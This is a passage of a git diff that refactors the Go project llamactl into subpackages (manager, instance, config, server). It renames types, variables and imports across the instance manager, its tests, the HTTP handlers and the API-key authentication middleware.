*instance.CreateInstanceOptions) (*instance.Instance, error) { if options == nil { return nil, fmt.Errorf("instance options cannot be nil") } @@ -69,12 +72,12 @@ func (im *instanceManager) CreateInstance(name string, options *CreateInstanceOp return nil, fmt.Errorf("maximum number of instances (%d) reached", im.instancesConfig.MaxInstances) } - err := ValidateInstanceName(name) + err := validation.ValidateInstanceName(name) if err != nil { return nil, err } - err = ValidateInstanceOptions(options) + err = validation.ValidateInstanceOptions(options) if err != nil { return nil, err } @@ -102,19 +105,19 @@ func (im *instanceManager) CreateInstance(name string, options *CreateInstanceOp im.ports[options.Port] = true } - instance := NewInstance(name, &im.instancesConfig, options) - im.instances[instance.Name] = instance + inst := instance.NewInstance(name, &im.instancesConfig, options) + im.instances[inst.Name] = inst im.ports[options.Port] = true - if err := im.persistInstance(instance); err != nil { + if err := im.persistInstance(inst); err != nil { return nil, fmt.Errorf("failed to persist instance %s: %w", name, err) } - return instance, nil + return inst, nil } // GetInstance retrieves an instance by its name. -func (im *instanceManager) GetInstance(name string) (*Instance, error) { +func (im *instanceManager) GetInstance(name string) (*instance.Instance, error) { im.mu.RLock() defer im.mu.RUnlock() @@ -127,7 +130,7 @@ func (im *instanceManager) GetInstance(name string) (*Instance, error) { // UpdateInstance updates the options of an existing instance and returns it. // If the instance is running, it will be restarted to apply the new options. -func (im *instanceManager) UpdateInstance(name string, options *CreateInstanceOptions) (*Instance, error) { +func (im *instanceManager) UpdateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Instance, error) { im.mu.RLock() instance, exists := im.instances[name] im.mu.RUnlock() @@ -140,7 +143,7 @@ func (im *instanceManager) UpdateInstance(name string, options *CreateInstanceOp return nil, fmt.Errorf("instance options cannot be nil") } - err := ValidateInstanceOptions(options) + err := validation.ValidateInstanceOptions(options) if err != nil { return nil, err } @@ -188,7 +191,7 @@ func (im *instanceManager) DeleteInstance(name string) error { return fmt.Errorf("instance with name %s is still running, stop it before deleting", name) } - delete(im.ports, instance.options.Port) + delete(im.ports, instance.GetOptions().Port) delete(im.instances, name) // Delete the instance's config file if persistence is enabled @@ -202,7 +205,7 @@ func (im *instanceManager) DeleteInstance(name string) error { // StartInstance starts a stopped instance and returns it. // If the instance is already running, it returns an error. -func (im *instanceManager) StartInstance(name string) (*Instance, error) { +func (im *instanceManager) StartInstance(name string) (*instance.Instance, error) { im.mu.RLock() instance, exists := im.instances[name] im.mu.RUnlock() @@ -229,7 +232,7 @@ func (im *instanceManager) StartInstance(name string) (*Instance, error) { } // StopInstance stops a running instance and returns it. -func (im *instanceManager) StopInstance(name string) (*Instance, error) { +func (im *instanceManager) StopInstance(name string) (*instance.Instance, error) { im.mu.RLock() instance, exists := im.instances[name] im.mu.RUnlock() @@ -256,7 +259,7 @@ func (im *instanceManager) StopInstance(name string) (*Instance, error) { } // RestartInstance stops and then starts an instance, returning the updated instance. -func (im *instanceManager) RestartInstance(name string) (*Instance, error) { +func (im *instanceManager) RestartInstance(name string) (*instance.Instance, error) { instance, err := im.StopInstance(name) if err != nil { return nil, err @@ -292,7 +295,7 @@ func (im *instanceManager) getNextAvailablePort() (int, error) { } // persistInstance saves an instance to its JSON file -func (im *instanceManager) persistInstance(instance *Instance) error { +func (im *instanceManager) persistInstance(instance *instance.Instance) error { if im.instancesConfig.InstancesDir == "" { return nil // Persistence disabled } @@ -327,20 +330,20 @@ func (im *instanceManager) Shutdown() { var wg sync.WaitGroup wg.Add(len(im.instances)) - for name, instance := range im.instances { - if !instance.Running { + for name, inst := range im.instances { + if !inst.Running { wg.Done() // If instance is not running, just mark it as done continue } - go func(name string, instance *Instance) { + go func(name string, inst *instance.Instance) { defer wg.Done() fmt.Printf("Stopping instance %s...\n", name) // Attempt to stop the instance gracefully - if err := instance.Stop(); err != nil { + if err := inst.Stop(); err != nil { fmt.Printf("Error stopping instance %s: %v\n", name, err) } - }(name, instance) + }(name, inst) } wg.Wait() @@ -397,7 +400,7 @@ func (im *instanceManager) loadInstance(name, path string) error { return fmt.Errorf("failed to read instance file: %w", err) } - var persistedInstance Instance + var persistedInstance instance.Instance if err := json.Unmarshal(data, &persistedInstance); err != nil { return fmt.Errorf("failed to unmarshal instance: %w", err) } @@ -407,46 +410,46 @@ func (im *instanceManager) loadInstance(name, path string) error { return fmt.Errorf("instance name mismatch: file=%s, instance.Name=%s", name, persistedInstance.Name) } - // Create new instance using NewInstance (handles validation, defaults, setup) - instance := NewInstance(name, &im.instancesConfig, persistedInstance.GetOptions()) + // Create new inst using NewInstance (handles validation, defaults, setup) + inst := instance.NewInstance(name, &im.instancesConfig, persistedInstance.GetOptions()) // Restore persisted fields that NewInstance doesn't set - instance.Created = persistedInstance.Created - instance.Running = persistedInstance.Running + inst.Created = persistedInstance.Created + inst.Running = persistedInstance.Running // Check for port conflicts and add to maps - if instance.GetOptions() != nil && instance.GetOptions().Port > 0 { - port := instance.GetOptions().Port + if inst.GetOptions() != nil && inst.GetOptions().Port > 0 { + port := inst.GetOptions().Port if im.ports[port] { return fmt.Errorf("port conflict: instance %s wants port %d which is already in use", name, port) } im.ports[port] = true } - im.instances[name] = instance + im.instances[name] = inst return nil } // autoStartInstances starts instances that were running when persisted and have auto-restart enabled func (im *instanceManager) autoStartInstances() { im.mu.RLock() - var instancesToStart []*Instance - for _, instance := range im.instances { - if instance.Running && // Was running when persisted - instance.GetOptions() != nil && - instance.GetOptions().AutoRestart != nil && - *instance.GetOptions().AutoRestart { - instancesToStart = append(instancesToStart, instance) + var instancesToStart []*instance.Instance + for _, inst := range im.instances { + if inst.Running && // Was running when persisted + inst.GetOptions() != nil && + inst.GetOptions().AutoRestart != nil && + *inst.GetOptions().AutoRestart { + instancesToStart = append(instancesToStart, inst) } } im.mu.RUnlock() - for _, instance := range instancesToStart { - log.Printf("Auto-starting instance %s", instance.Name) + for _, inst := range instancesToStart { + log.Printf("Auto-starting instance %s", inst.Name) // Reset running state before starting (since Start() expects stopped instance) - instance.Running = false - if err := instance.Start(); err != nil { - log.Printf("Failed to auto-start instance %s: %v", instance.Name, err) + inst.Running = false + if err := inst.Start(); err != nil { + log.Printf("Failed to auto-start instance %s: %v", inst.Name, err) } } } diff --git a/pkg/manager_test.go b/pkg/manager/manager_test.go similarity index 82% rename from pkg/manager_test.go rename to pkg/manager/manager_test.go index dadcee9..f31e11b 100644 --- a/pkg/manager_test.go +++ b/pkg/manager/manager_test.go @@ -1,18 +1,20 @@ -package llamactl_test +package manager_test import ( "encoding/json" + "llamactl/pkg/backends/llamacpp" + "llamactl/pkg/config" + "llamactl/pkg/instance" + "llamactl/pkg/manager" "os" "path/filepath" "reflect" "strings" "testing" - - llamactl "llamactl/pkg" ) func TestNewInstanceManager(t *testing.T) { - config := llamactl.InstancesConfig{ + cfg := config.InstancesConfig{ PortRange: [2]int{8000, 9000}, LogsDir: "/tmp/test", MaxInstances: 5, @@ -22,7 +24,7 @@ func TestNewInstanceManager(t *testing.T) { DefaultRestartDelay: 5, } - manager := llamactl.NewInstanceManager(config) + manager := manager.NewInstanceManager(cfg) if manager == nil { t.Fatal("NewInstanceManager returned nil") } @@ -40,40 +42,40 @@ func TestNewInstanceManager(t *testing.T) { func TestCreateInstance_Success(t *testing.T) { manager := createTestManager() - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", Port: 8080, }, } - instance, err := manager.CreateInstance("test-instance", options) + inst, err := manager.CreateInstance("test-instance", options) if err != nil { t.Fatalf("CreateInstance failed: %v", err) } - if instance.Name != "test-instance" { - t.Errorf("Expected instance name 'test-instance', got %q", instance.Name) + if inst.Name != "test-instance" { + t.Errorf("Expected instance name 'test-instance', got %q", inst.Name) } - if instance.Running { + if inst.Running { t.Error("New instance should not be running") } - if instance.GetOptions().Port != 8080 { - t.Errorf("Expected port 8080, got %d", instance.GetOptions().Port) + if inst.GetOptions().Port != 8080 { + t.Errorf("Expected port 8080, got %d", inst.GetOptions().Port) } } func TestCreateInstance_DuplicateName(t *testing.T) { manager := createTestManager() - options1 := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options1 := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } - options2 := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options2 := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } @@ -96,26 +98,26 @@ func TestCreateInstance_DuplicateName(t *testing.T) { func TestCreateInstance_MaxInstancesLimit(t *testing.T) { // Create manager with low max instances limit - config := llamactl.InstancesConfig{ + cfg := config.InstancesConfig{ PortRange: [2]int{8000, 9000}, MaxInstances: 2, // Very low limit for testing } - manager := llamactl.NewInstanceManager(config) + manager := manager.NewInstanceManager(cfg) - options1 := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options1 := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } - options2 := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options2 := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } - options3 := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options3 := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } @@ -145,19 +147,19 @@ func TestCreateInstance_PortAssignment(t *testing.T) { manager := createTestManager() // Create instance without specifying port - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } - instance, err := manager.CreateInstance("test-instance", options) + inst, err := manager.CreateInstance("test-instance", options) if err != nil { t.Fatalf("CreateInstance failed: %v", err) } // Should auto-assign a port in the range - port := instance.GetOptions().Port + port := inst.GetOptions().Port if port < 8000 || port > 9000 { t.Errorf("Expected port in range 8000-9000, got %d", port) } @@ -166,15 +168,15 @@ func TestCreateInstance_PortAssignment(t *testing.T) { func TestCreateInstance_PortConflictDetection(t *testing.T) { manager := createTestManager() - options1 := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options1 := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", Port: 8080, // Explicit port }, } - options2 := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options2 := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model2.gguf", Port: 8080, // Same port - should conflict }, @@ -199,14 +201,14 @@ func TestCreateInstance_PortConflictDetection(t *testing.T) { func TestCreateInstance_MultiplePortAssignment(t *testing.T) { manager := createTestManager() - options1 := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options1 := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } - options2 := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options2 := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } @@ -232,26 +234,26 @@ func TestCreateInstance_MultiplePortAssignment(t *testing.T) { func TestCreateInstance_PortExhaustion(t *testing.T) { // Create manager with very small port range - config := llamactl.InstancesConfig{ + cfg := config.InstancesConfig{ PortRange: [2]int{8000, 8001}, // Only 2 ports available MaxInstances: 10, // Higher than available ports } - manager := llamactl.NewInstanceManager(config) + manager := manager.NewInstanceManager(cfg) - options1 := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options1 := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } - options2 := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options2 := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } - options3 := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options3 := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } @@ -280,8 +282,8 @@ func TestCreateInstance_PortExhaustion(t *testing.T) { func TestDeleteInstance_PortRelease(t *testing.T) { manager := createTestManager() - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", Port: 8080, }, @@ -310,8 +312,8 @@ func TestGetInstance_Success(t *testing.T) { manager := createTestManager() // Create an instance first - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } @@ -356,14 +358,14 @@ func TestListInstances(t *testing.T) { } // Create some instances - options1 := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options1 := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } - options2 := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options2 := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } @@ -389,8 +391,8 @@ func TestListInstances(t *testing.T) { // Check names are present names := make(map[string]bool) - for _, instance := range instances { - names[instance.Name] = true + for _, inst := range instances { + names[inst.Name] = true } if !names["instance1"] || !names["instance2"] { t.Error("Expected both instance1 and instance2 in list") @@ -401,8 +403,8 @@ func TestDeleteInstance_Success(t *testing.T) { manager := createTestManager() // Create an instance - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } @@ -440,8 +442,8 @@ func TestUpdateInstance_Success(t *testing.T) { manager := createTestManager() // Create an instance - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", Port: 8080, }, @@ -452,8 +454,8 @@ func TestUpdateInstance_Success(t *testing.T) { } // Update it - newOptions := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + newOptions := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/new-model.gguf", Port: 8081, }, @@ -475,8 +477,8 @@ func TestUpdateInstance_Success(t *testing.T) { func TestUpdateInstance_NotFound(t *testing.T) { manager := createTestManager() - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } @@ -494,15 +496,15 @@ func TestPersistence_InstancePersistedOnCreation(t *testing.T) { // Create temporary directory for persistence tempDir := t.TempDir() - config := llamactl.InstancesConfig{ + cfg := config.InstancesConfig{ PortRange: [2]int{8000, 9000}, InstancesDir: tempDir, MaxInstances: 10, } - manager := llamactl.NewInstanceManager(config) + manager := manager.NewInstanceManager(cfg) - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", Port: 8080, }, @@ -539,16 +541,16 @@ func TestPersistence_InstancePersistedOnCreation(t *testing.T) { func TestPersistence_InstancePersistedOnUpdate(t *testing.T) { tempDir := t.TempDir() - config := llamactl.InstancesConfig{ + cfg := config.InstancesConfig{ PortRange: [2]int{8000, 9000}, InstancesDir: tempDir, MaxInstances: 10, } - manager := llamactl.NewInstanceManager(config) + manager := manager.NewInstanceManager(cfg) // Create instance - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", Port: 8080, }, @@ -559,8 +561,8 @@ func TestPersistence_InstancePersistedOnUpdate(t *testing.T) { } // Update instance - newOptions := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + newOptions := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/new-model.gguf", Port: 8081, }, @@ -596,16 +598,16 @@ func TestPersistence_InstancePersistedOnUpdate(t *testing.T) { func TestPersistence_InstanceFileDeletedOnDeletion(t *testing.T) { tempDir := t.TempDir() - config := llamactl.InstancesConfig{ + cfg := config.InstancesConfig{ PortRange: [2]int{8000, 9000}, InstancesDir: tempDir, MaxInstances: 10, } - manager := llamactl.NewInstanceManager(config) + manager := manager.NewInstanceManager(cfg) // Create instance - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } @@ -667,12 +669,12 @@ func TestPersistence_InstancesLoadedFromDisk(t *testing.T) { } // Create manager - should load instances from disk - config := llamactl.InstancesConfig{ + cfg := config.InstancesConfig{ PortRange: [2]int{8000, 9000}, InstancesDir: tempDir, MaxInstances: 10, } - manager := llamactl.NewInstanceManager(config) + manager := manager.NewInstanceManager(cfg) // Verify instances were loaded instances, err := manager.ListInstances() @@ -685,9 +687,9 @@ func TestPersistence_InstancesLoadedFromDisk(t *testing.T) { } // Check instances by name - instancesByName := make(map[string]*llamactl.Instance) - for _, instance := range instances { - instancesByName[instance.Name] = instance + instancesByName := make(map[string]*instance.Instance) + for _, inst := range instances { + instancesByName[inst.Name] = inst } instance1, exists := instancesByName["instance1"] @@ -734,16 +736,16 @@ func TestPersistence_PortMapPopulatedFromLoadedInstances(t *testing.T) { } // Create manager - should load instance and register port - config := llamactl.InstancesConfig{ + cfg := config.InstancesConfig{ PortRange: [2]int{8000, 9000}, InstancesDir: tempDir, MaxInstances: 10, } - manager := llamactl.NewInstanceManager(config) + manager := manager.NewInstanceManager(cfg) // Try to create new instance with same port - should fail due to conflict - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model2.gguf", Port: 8080, // Same port as loaded instance }, @@ -761,7 +763,7 @@ func TestPersistence_PortMapPopulatedFromLoadedInstances(t *testing.T) { func TestPersistence_CompleteInstanceDataRoundTrip(t *testing.T) { tempDir := t.TempDir() - config := llamactl.InstancesConfig{ + cfg := config.InstancesConfig{ PortRange: [2]int{8000, 9000}, InstancesDir: tempDir, MaxInstances: 10, @@ -771,17 +773,17 @@ func TestPersistence_CompleteInstanceDataRoundTrip(t *testing.T) { } // Create first manager and instance with comprehensive options - manager1 := llamactl.NewInstanceManager(config) + manager1 := manager.NewInstanceManager(cfg) autoRestart := false maxRestarts := 10 restartDelay := 30 - originalOptions := &llamactl.CreateInstanceOptions{ + originalOptions := &instance.CreateInstanceOptions{ AutoRestart: &autoRestart, MaxRestarts: &maxRestarts, RestartDelay: &restartDelay, - LlamaServerOptions: llamactl.LlamaServerOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", Port: 8080, Host: "localhost", @@ -803,7 +805,7 @@ func TestPersistence_CompleteInstanceDataRoundTrip(t *testing.T) { } // Create second manager (simulating restart) - should load the instance - manager2 := llamactl.NewInstanceManager(config) + manager2 := manager.NewInstanceManager(cfg) loadedInstance, err := manager2.GetInstance("roundtrip-test") if err != nil { @@ -876,8 +878,8 @@ func TestPersistence_CompleteInstanceDataRoundTrip(t *testing.T) { } // Helper function to create a test manager with standard config -func createTestManager() llamactl.InstanceManager { - config := llamactl.InstancesConfig{ +func createTestManager() manager.InstanceManager { + cfg := config.InstancesConfig{ PortRange: [2]int{8000, 9000}, LogsDir: "/tmp/test", MaxInstances: 10, @@ -886,5 +888,5 @@ func createTestManager() llamactl.InstanceManager { DefaultMaxRestarts: 3, DefaultRestartDelay: 5, } - return llamactl.NewInstanceManager(config) + return manager.NewInstanceManager(cfg) } diff --git a/pkg/handlers.go b/pkg/server/handlers.go similarity index 91% rename from pkg/handlers.go rename to pkg/server/handlers.go index fe2088b..e0cc4da 100644 --- a/pkg/handlers.go +++ b/pkg/server/handlers.go @@ -1,10 +1,13 @@ -package llamactl +package server import ( "bytes" "encoding/json" "fmt" "io" + "llamactl/pkg/config" + "llamactl/pkg/instance" + "llamactl/pkg/manager" "net/http" "os/exec" "strconv" @@ -14,14 +17,14 @@ import ( ) type Handler struct { - InstanceManager InstanceManager - config Config + InstanceManager manager.InstanceManager + cfg config.Config } -func NewHandler(im InstanceManager, config Config) *Handler { +func NewHandler(im manager.InstanceManager, cfg config.Config) *Handler { return &Handler{ InstanceManager: im, - config: config, + cfg: cfg, } } @@ -137,13 +140,13 @@ func (h *Handler) CreateInstance() http.HandlerFunc { return } - var options CreateInstanceOptions + var options instance.CreateInstanceOptions if err := json.NewDecoder(r.Body).Decode(&options); err != nil { http.Error(w, "Invalid request body", http.StatusBadRequest) return } - instance, err := h.InstanceManager.CreateInstance(name, &options) + inst, err := h.InstanceManager.CreateInstance(name, &options) if err != nil { http.Error(w, "Failed to create instance: "+err.Error(), http.StatusInternalServerError) return @@ -151,7 +154,7 @@ func (h *Handler) CreateInstance() http.HandlerFunc { w.Header().Set("Content-Type", "application/json") w.WriteHeader(http.StatusCreated) - if err := json.NewEncoder(w).Encode(instance); err != nil { + if err := json.NewEncoder(w).Encode(inst); err != nil { http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError) return } @@ -177,14 +180,14 @@ func (h *Handler) GetInstance() http.HandlerFunc { return } - instance, err := h.InstanceManager.GetInstance(name) + inst, err := h.InstanceManager.GetInstance(name) if err != nil { http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError) return } w.Header().Set("Content-Type", "application/json") - if err := json.NewEncoder(w).Encode(instance); err != nil { + if err := json.NewEncoder(w).Encode(inst); err != nil { http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError) return } @@ -212,20 +215,20 @@ func (h *Handler) UpdateInstance() http.HandlerFunc { return } - var options CreateInstanceOptions + var options instance.CreateInstanceOptions if err := json.NewDecoder(r.Body).Decode(&options); err != nil { http.Error(w, "Invalid request body", http.StatusBadRequest) return } - instance, err := h.InstanceManager.UpdateInstance(name, &options) + inst, err := h.InstanceManager.UpdateInstance(name, &options) if err != nil { http.Error(w, "Failed to update instance: "+err.Error(), http.StatusInternalServerError) return } w.Header().Set("Content-Type", "application/json") - if err := json.NewEncoder(w).Encode(instance); err != nil { + if err := json.NewEncoder(w).Encode(inst); err != nil { http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError) return } @@ -251,14 +254,14 @@ func (h *Handler) StartInstance() http.HandlerFunc { return } - instance, err := h.InstanceManager.StartInstance(name) + inst, err := h.InstanceManager.StartInstance(name) if err != nil { http.Error(w, "Failed to start instance: "+err.Error(), http.StatusInternalServerError) return } w.Header().Set("Content-Type", "application/json") - if err := json.NewEncoder(w).Encode(instance); err != nil { + if err := json.NewEncoder(w).Encode(inst); err != nil { http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError) return } @@ -284,14 +287,14 @@ func (h *Handler) StopInstance() http.HandlerFunc { return } - instance, err := h.InstanceManager.StopInstance(name) + inst, err := h.InstanceManager.StopInstance(name) if err != nil { http.Error(w, "Failed to stop instance: "+err.Error(), http.StatusInternalServerError) return } w.Header().Set("Content-Type", "application/json") - if err := json.NewEncoder(w).Encode(instance); err != nil { + if err := json.NewEncoder(w).Encode(inst); err != nil { http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError) return } @@ -317,14 +320,14 @@ func (h *Handler) RestartInstance() http.HandlerFunc { return } - instance, err := h.InstanceManager.RestartInstance(name) + inst, err := h.InstanceManager.RestartInstance(name) if err != nil { http.Error(w, "Failed to restart instance: "+err.Error(), http.StatusInternalServerError) return } w.Header().Set("Content-Type", "application/json") - if err := json.NewEncoder(w).Encode(instance); err != nil { + if err := json.NewEncoder(w).Encode(inst); err != nil { http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError) return } @@ -389,13 +392,13 @@ func (h *Handler) GetInstanceLogs() http.HandlerFunc { return } - instance, err := h.InstanceManager.GetInstance(name) + inst, err := h.InstanceManager.GetInstance(name) if err != nil { http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError) return } - logs, err := instance.GetLogs(num_lines) + logs, err := inst.GetLogs(num_lines) if err != nil { http.Error(w, "Failed to get logs: "+err.Error(), http.StatusInternalServerError) return @@ -426,19 +429,19 @@ func (h *Handler) ProxyToInstance() http.HandlerFunc { return } - instance, err := h.InstanceManager.GetInstance(name) + inst, err := h.InstanceManager.GetInstance(name) if err != nil { http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError) return } - if !instance.Running { + if !inst.Running { http.Error(w, "Instance is not running", http.StatusServiceUnavailable) return } // Get the cached proxy for this instance - proxy, err := instance.GetProxy() + proxy, err := inst.GetProxy() if err != nil { http.Error(w, "Failed to get proxy: "+err.Error(), http.StatusInternalServerError) return @@ -489,11 +492,11 @@ func (h *Handler) OpenAIListInstances() http.HandlerFunc { } openaiInstances := make([]OpenAIInstance, len(instances)) - for i, instance := range instances { + for i, inst := range instances { openaiInstances[i] = OpenAIInstance{ - ID: instance.Name, + ID: inst.Name, Object: "model", - Created: instance.Created, + Created: inst.Created, OwnedBy: "llamactl", } } @@ -545,19 +548,19 @@ func (h *Handler) OpenAIProxy() http.HandlerFunc { return } - // Route to the appropriate instance based on model name - instance, err := h.InstanceManager.GetInstance(modelName) + // Route to the appropriate inst based on model name + inst, err := h.InstanceManager.GetInstance(modelName) if err != nil { http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError) return } - if !instance.Running { + if !inst.Running { http.Error(w, "Instance is not running", http.StatusServiceUnavailable) return } - proxy, err := instance.GetProxy() + proxy, err := inst.GetProxy() if err != nil { http.Error(w, "Failed to get proxy: "+err.Error(), http.StatusInternalServerError) return diff --git a/pkg/middleware.go b/pkg/server/middleware.go similarity index 91% rename from pkg/middleware.go rename to pkg/server/middleware.go index 6ed3195..0654be6 100644 --- a/pkg/middleware.go +++ b/pkg/server/middleware.go @@ -1,10 +1,11 @@ -package llamactl +package server import ( "crypto/rand" "crypto/subtle" "encoding/hex" "fmt" + "llamactl/pkg/config" "log" "net/http" "os" @@ -26,7 +27,7 @@ type APIAuthMiddleware struct { } // NewAPIAuthMiddleware creates a new APIAuthMiddleware with the given configuration -func NewAPIAuthMiddleware(config AuthConfig) *APIAuthMiddleware { +func NewAPIAuthMiddleware(authCfg config.AuthConfig) *APIAuthMiddleware { var generated bool = false @@ -35,25 +36,25 @@ func NewAPIAuthMiddleware(config AuthConfig) *APIAuthMiddleware { const banner = "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" - if config.RequireManagementAuth && len(config.ManagementKeys) == 0 { + if authCfg.RequireManagementAuth && len(authCfg.ManagementKeys) == 0 { key := generateAPIKey(KeyTypeManagement) managementAPIKeys[key] = true generated = true fmt.Printf("%s\n⚠️ MANAGEMENT AUTHENTICATION REQUIRED\n%s\n", banner, banner) fmt.Printf("🔑 Generated Management API Key:\n\n %s\n\n", key) } - for _, key := range config.ManagementKeys { + for _, key := range authCfg.ManagementKeys { managementAPIKeys[key] = true } - if config.RequireInferenceAuth && len(config.InferenceKeys) == 0 { + if authCfg.RequireInferenceAuth && len(authCfg.InferenceKeys) == 0 { key := generateAPIKey(KeyTypeInference) inferenceAPIKeys[key] = true generated = true fmt.Printf("%s\n⚠️ INFERENCE AUTHENTICATION REQUIRED\n%s\n", banner, banner) fmt.Printf("🔑 Generated Inference API Key:\n\n %s\n\n", key) } - for _, key := range config.InferenceKeys { + for _, key := range authCfg.InferenceKeys { inferenceAPIKeys[key] = true } @@ -66,9 +67,9 @@ func NewAPIAuthMiddleware(config AuthConfig) *APIAuthMiddleware { } return &APIAuthMiddleware{ - requireInferenceAuth: config.RequireInferenceAuth, + requireInferenceAuth: authCfg.RequireInferenceAuth, inferenceKeys: inferenceAPIKeys, - requireManagementAuth: config.RequireManagementAuth, + requireManagementAuth: authCfg.RequireManagementAuth, managementKeys: managementAPIKeys, } } diff --git a/pkg/middleware_test.go b/pkg/server/middleware_test.go similarity index 81% rename from pkg/middleware_test.go rename to pkg/server/middleware_test.go index 2e16d1a..8a1e7fc 100644 --- a/pkg/middleware_test.go +++ b/pkg/server/middleware_test.go @@ -1,18 +1,18 @@ -package llamactl_test +package server_test import ( + "llamactl/pkg/config" + "llamactl/pkg/server" "net/http" "net/http/httptest" "strings" "testing" - - llamactl 